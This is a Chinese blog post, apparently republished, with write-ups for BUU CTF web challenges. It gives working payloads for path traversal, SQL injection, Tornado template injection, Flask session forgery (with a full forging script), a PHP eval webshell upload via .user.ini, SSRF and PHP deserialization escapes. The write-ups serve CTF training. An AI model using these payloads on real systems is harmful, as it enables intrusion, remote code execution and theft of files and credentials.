欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

BUU CTF web题write up

程序员文章站 2022-03-09 22:52:03
...

0x01 WarmUp

进来就是一个大大的滑稽,F12拿到源码链接source.php

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

白名单中只有两个页面:source.php和hint.php,看hint.php

BUU CTF web题write up
function checkFile():

  • 变量未声明、非字符串:return false
  • $page未在白名单中:return false
  • 以’?'为分割符取出前面字符后得到$_page
  • $_page未在白名单中:return false
  • url解码后,重复以上3、4步操作

最后如果request得到的file值非空、是字符串且通过了checkFile,则包含file

因为服务器会自动url解码一次,这里用二次编码

payload:source.php?file=hint.php%253f../../../../../../../ffffllllaaaagggg

参考链接:https://www.jianshu.com/p/0d75017c154f(CVE-2018-12613)

0x02 随便注

测试过程

输入1’报错,1’ #正常

BUU CTF web题write up

BUU CTF web题write up

1’ order by 2# 1’ order by 3#
正常 error 1054 : Unknown column ‘3’ in ‘order clause’

得出有两个字段,再联合查询一下,发现过滤了部分sql关键字

BUU CTF web题write up

堆叠注入

1';show tables;#	//发现表1919810931114514和words

BUU CTF web题write up

1'; show columns from `1919810931114514`;#	//发现表1919810931114514中有flag列

BUU CTF web题write up

先将select * from `1919810931114514`进行十六进制编码一下,得到如下值

0x73656c656374202a2066726f6d20603139313938313039333131313435313460

再通过预处理语句,最终构造的payload如下,得到flag

payload:1';aaa@qq.com=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

BUU CTF web题write up

骚操作

这个必须要记一下,确实是太骚了

  • 将words更名为words1
  • 将1919810931114514更名为words
  • 将1919810931114514表中flag字段改为id
  • 1’ or 1=1#直接查出flag
payload:1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not null;show columns from words;#

0x03 easy_tornado

  • /welcome.txt:render

    简单的百度了一下,这是render+tornado的python模板

  • /hints.txt: md5(cookie_secret+md5(filename))

    哈希计算规则

  • /flag.txt:flag in /fllllllllllllag

    此时的url为/file?filename=/flag.txt&filehash=c9f7065977d26874f6d8e0f782aa1e21

    也就是文件名+文件哈希值访问

模板注入

  • 将文件名改为/fllllllllllllag

    返回一个Error页面,且参数msg=Error

  • tornado模板快速访问

    <title>
    	{{ escape(handler.settings["cookie"]) }}
    </title>
    

    handler指向RequestHandler

    RequestHandler.settings指向self.application.settings

    所以handler.settings指向RequestHandler.application.settings

  • 输入msg={{handler.settings}}

    得到cookie_secret: 7dd9f819-0bd5-4a55-85a7-2b2b3156f0e7

  • 抄个脚本计算一下哈希值

    import hashlib
    
    def md5value(s):
        md5 = hashlib.md5()
        md5.update(s.encode())
        return md5.hexdigest()
    
    def mdfive2():
        filename = '/fllllllllllllag'
        cookie = r"7dd9f819-0bd5-4a55-85a7-2b2b3156f0e7"
        print(md5value(cookie + md5value(filename)))
    
    mdfive2()
    

    得到哈希值为:8a12c7de285700b57d8aa3222d4c1790

  • 最终的url

    http://7bdadb48-8aab-4cee-b71f-1810a54d1e97.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=8a12c7de285700b57d8aa3222d4c1790
    

BUU CTF web题write up

  • 参考链接:https://www.jianshu.com/p/55c75e0f7928

0x04 高明的黑客

  • 下载www.tar.gz,里面是网站的源码,而且php文件中都包含一些乱七八糟的shell

BUU CTF web题write up

  • 在本地搭一下环境,然后写个脚本测试一下文件里的shell

    python脚本如下:

import os
import requests
import re
import sys

for i in os.listdir("E:\911208\phpstudy\PHPTutorial\WWW\src")[::-1]:
	with open ("E:\911208\phpstudy\PHPTutorial\WWW\src\{}".format(i)) as f:
		content=f.read()
		url="http://127.0.0.1/src/{}".format(i)
		rc = re.compile(r'(\$_GET\[\')(.*)(\'\])')
		result=rc.findall(content)
		for r in result:
			a=r[1]
			url1=url+"?"+a+"=echo 'hackedha';"
			print(url1)
			sys.stdout.flush()
			r=requests.get(url=url1)
			r=r.content.decode('utf-8')
			if 'hacked' in r:
				print('yes')
				print(url)
				exit()
  • 找到xk0SzyKwfzw.php文件下的Efa5BVG参数可以利用

BUU CTF web题write up

  • payload:http://710e3dd0-506e-4936-bfd5-e6904802adb2.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

BUU CTF web题write up

0x05 admin

  • 登陆页面的hint

BUU CTF web题write up

  • change页面下get到一个hint

BUU CTF web题write up

  • ok,下载下来发现是靶场源码,用的是flask框架

  • flask框架的session机制

    学习链接:https://www.anquanke.com/post/id/163975

    flask中session储存在客户端cookie中,且flask没有加密操作,其cookie全部内容都可以被读取。

抓取session

  • 直接抓包就可以得到自己账号的session

BUU CTF web题write up

  • config.py

    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    
  • index.html

    {% if current_user.is_authenticated and session['name'] == 'admin' %}
    <h1 class="nav">hctf{xxxxxxxxx}</h1>
    

session伪造

脚本如下:
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

session解密得到的结果为:

{'_fresh': True, '_id': b'50b3c6db23d13770917e4cb8c61cdf67dde86cff5e2e47f6be2daa872de7fdd150373ce7263caf379095ea77543d926414333a9cbb5fbd8c80f60df20bb4981e', 'csrf_token': b'47af145519e08dd39d3e2b4b8d3d5e5f604cd8ea', 'image': b'jPsF', 'name': '0xdawn', 'user_id': '10'}

将name中的值修改为admin后再加密,得到的session如下:

.eJxFkEGLwjAQhf_KMmcPNdWL4EWiwYVJaWksk4uorTZp40JV2kb875t1Yfc0zDz43nvzhP25q241LO7do5rA3pSweMLHERYg85VBhkyL7YgsHdCfYuTNIJmKiG1n5Gkgljlpy0YLNZNOOm13LToVSUaMnBq12NQJP4WpYu2yBnPVB44npmK0gcA2LuzzwJ3qYh1Lr6LgNQ9ahHnq0cs6KaQhu3Pk0uB56bWlXgsaUXwayZsZFmoJrwmcbt15f_9qqut_BV7W2q4jmashKVSfiBDBtw0yNZLNTCJSr_mulQUx5JnVvG4pXb5xxh0u1R_p0K58dvlVrgdX_ZxKZ64wgcet6t5_g2kEr29DqW27.Xd9y8Q.BKLvXPsrixjIr4i0d8Fhkvaq03g

再将自己的session值替换为伪造的值,即可完成admin登录

BUU CTF web题write up

0x06 CheckIn

源码如下

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);//得到文件后缀名
    
    /*过滤掉各种php类型、.htacess、‘/i’不区分大小写*/
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    /*过滤掉了文件中的<?,一句话跟图片马基本挂了*/
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    /*MIME验证,需要修改Content-Type的值*/
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}
  • 获得文件后缀名,过滤各种php类型、.htacess、且不区分大小写
  • 过滤文件中的’<?’
  • MIME类型验证

New point:.user.ini

自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

  • .user.ini利用条件

    服务器脚本语言为php

    服务器使用CGI/FastCGI模式

    上传目录下有可执行的php文件

  • auto_prepend_fiile、auto_append_file

    该配置项会让php文件在执行前先包含一个指定的文件

Bypass

  • 上传一个.user.ini文件,内容如下

    GIF89a
    auto_prepend_file=1.jpg
    

BUU CTF web题write up

  • 上传1.jpg

    GIF89a
    <script language='php'>@eval($_POST['0xdawn']);</script>
    
  • 菜刀连上,找到flag

BUU CTF web题write up

0x07 Easy Calc

源码在http://node3.buuoj.cn:27584/calc.php下

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

php字符串解析绕过

php需要将所有参数转换为有效的变量名,在解析查询字符串时

  • 删除初始空格
  • 将某些字符转换为下划线

测试结果如下:

calc.php?num=phpinfo() Forbidden
calc.php?%20num=phpinfo() 回显

查看禁用的函数:

BUU CTF web题write up

scandir()函数

scandir() 函数返回指定目录中的文件和目录的数组。

语法:scandir(directory,sorting_order,context);

directory 必须,规定要扫描的目录
sorting_order 可选,规定排列顺序。默认是 0,表示按字母升序排列。
context 可选,规定目录句柄的环境。
  • 扫描根目录下所有文件:scandir(/)

  • char(47)代替 / 绕过黑名单

  • payload:calc.php?%20num=var_dump(scandir(chr(47)))

BUU CTF web题write up

file_get_contents()函数

file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。

语法:file_get_contents(path,include_path,context,start,max_length)

path 必需。规定要读取的文件。
include_path 可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 “1”。
context 可选。规定文件句柄的环境。
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 新加的。
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 新加的。

GetFlag:calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

HTTP走私攻击

参考链接:https://paper.seebug.org/1048/

经测试CL-CL方式可用,请求如下:

BUU CTF web题write up

0x08 SSRF Me

源码地址

https://github.com/CTFTraining/delta_2019_web_ssrfme

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

字符串拼接

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
  • 假设secert_key为xxx,访问/geneSign?param=flag.txt,返回的md5为md5(‘xxx’ + ‘flag.txt’ + ‘scan’)

  • 构造访问/geneSign?param=flag.txtread,得到的md5为md5(‘xxx’ + ‘flag.txtread’ + ‘scan’ ),即为目标sign

BUU CTF web题write up

  • 访问/De1ta?param=flag.txt,构造Cookie:action=readscan;sign=6bf0e8c1e474589c49fd211c9f3ba760

BUU CTF web题write up

local_file

  • 文件包含得到sign

    http://5cb1ec0e-c4a0-4c5f-b967-87d59660cabf.node3.buuoj.cn/geneSign?param=local_file:///app/flag.txtread

BUU CTF web题write up

  • 构造cookie得到flag

BUU CTF web题write up

哈希拓展攻击

参考链接:https://xz.aliyun.com/t/5927

0x09 FakeBook

源码泄露:/user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

注入测试

  • order by得到长度为4

  • 报数据库名

BUU CTF web题write up

  • 报表名

BUU CTF web题write up

  • 报列名

BUU CTF web题write up

  • 报字段值

BUU CTF web题write up

SSRF

  • curl_exec()使用不当造成SSRF(服务器端请求伪造)

  • 报错信息可知网站绝对路径(/var/www/html/)和数据库里的数据都是反序列存储

  • 通过file协议读文件

  • payload:

    view.php?no=-1++union++select++1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
    

BUU CTF web题write up

  • base64解码得到flag

    <?php
    
    $flag = "flag{20b9f00e-27ad-42df-b157-f9a1953ca674}";
    exit(0);
    

0x0A piapiapia

源码泄露:www.zip

  • flag在config.php中

    <?php
    	$config['hostname'] = '127.0.0.1';
    	$config['username'] = 'root';
    	$config['password'] = '';
    	$config['database'] = '';
    	$flag = '';
    ?>
    
  • update.php中POST提交的参数及正则

    		$profile['phone'] = $_POST['phone'];
    		$profile['email'] = $_POST['email'];
    		$profile['nickname'] = $_POST['nickname'];
    		$profile['photo'] = 'upload/' . md5($file['name']);
    		$user->update_profile($username, serialize($profile));
    		
    		if(!preg_match('/^\d{11}$/', $_POST['phone']))
    			die('Invalid phone');
    
    		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
    			die('Invalid email');
    		
    		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    			die('Invalid nickname');
    
    		$file = $_FILES['photo'];
    		if($file['size'] < 5 or $file['size'] > 1000000)
    			die('Photo size error');
    
  • profile.php中存在文件读取

    $profile = unserialize($profile);
    		$phone = $profile['phone'];
    		$email = $profile['email'];
    		$nickname = $profile['nickname'];
    		$photo = base64_encode(file_get_contents($profile['photo']));
    

    当$profile[‘photo’]为config.php时即可读取到flag,而且这里还有个反序列化操作

  • class.php中的参数过滤

    	public function filter($string) {
    		$escape = array('\'', '\\\\');
    		$escape = '/' . implode('|', $escape) . '/';
    		$string = preg_replace($escape, '_', $string);
    
    		$safe = array('select', 'insert', 'update', 'delete', 'where');
    		$safe = '/' . implode('|', $safe) . '/i';
    		return preg_replace($safe, 'hacker', $string);
    	}
    

    其中需要注意的是where被替换成hacker是,长度加1

序列化profile

update.php中POST提交完后对$profile进行序列化操作

<?php
$profile = array();
$profile['phone'] = '18581582507';
$profile['email'] = 'aaa@qq.com';
$profile['nickname'] = '0xdawn';
$profile['photo'] = 'config.php';

$a = serialize($profile);
echo $a;
?>

结果为:a:4:{s:5:"phone";s:11:"18581582507";s:5:"email";s:17:"aaa@qq.com";s:8:"nickname";s:6:"0xdawn";s:5:"photo";s:10:"config.php";}

反序列化

在nikename后加上";}s:5:“photo”;s:10:“config.php”;} 一共是34个字符,利用正则表达式替换34个where为hacker,即可把这34个字符挤到photo中

  • 用数组绕过nickname的正则过滤

  • 将nickname修改为以下值

    wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
    

BUU CTF web题write up

  • 进入profile查看图片信息

BUU CTF web题write up

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2E1NWE1ZjczLTM5M2ItNGQyOS1hNDBkLWQ0MWFhMDA3MGQyYn0nOwo/Pgo=
  • base64解码得到flag

    <?php
    $config['hostname'] = '127.0.0.1';
    $config['username'] = 'root';
    $config['password'] = 'qwertyuiop';
    $config['database'] = 'challenges';
    $flag = 'flag{a55a5f73-393b-4d29-a40d-d41aa0070d2b}';
    ?>
    

极客大挑战系列

0x01 Havefun

  • F12得到源码如下

    $cat=$_GET['cat'];
    echo $cat;
    if($cat=='dog')
    {
         echo 'Syc{cat_cat_cat_cat}';
    }
    
  • payload:http://9b94f9bf-5000-46eb-9bff-181b6330400e.node3.buuoj.cn/?cat=dog

0x02 Knife

  • 直接菜刀连上,flag在根目录下

BUU CTF web题write up

0x03 Secret File

  • F12一下找到一个路径

BUU CTF web题write up

  • 访问这个页面后有一个secret链接

BUU CTF web题write up

  • 点一下后直接跳转了
    BUU CTF web题write up

  • 抓包得到secr3t.php这个页面,代码如下

    <html>
        <title>secret</title>
        <meta charset="UTF-8">
    <?php
        highlight_file(__FILE__);
        error_reporting(0);
        $file=$_GET['file'];
        if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
            echo "Oh no!";
            exit();
        }
        include($file); 
    //flag放在了flag.php里
    ?>
    </html>
    
  • 考点是php伪协议读取文件

    payload:http://b8fc1459-1aac-406c-8ef2-af149e5b70ed.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
    
  • base64解码后得到flag

BUU CTF web题write up

0x04 EasySQL

直接万能密码注入得到flag

BUU CTF web题write up

0x05 LoveSQL

没有任何过滤,一步步联合查询就行了

数据库名:username=admin&password=admin'union select
1,2,group_concat(schema_name) from information_schema.schemata#

表名:username=admin&password=admin'union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=database()#

列名:username=admin&password=admin'union select 1,2,group_concat(column_name) from
information_schema.columns where table_schema=database() and
table_name='l0ve1ysq1'#

字段值:username=admin&password=admin'union select
1,2,group_concat(password) from l0ve1ysq1#

0x06 BabySQL

过滤了一些关键字,需要双写绕过

数据库名:username=admin&password=admin'uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata--+

表名:username=admin&password=admin'uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema%3Ddatabase()--+

列名:username=admin&password=admin'uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'--+

字段值:username=admin&password=admin'uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql--+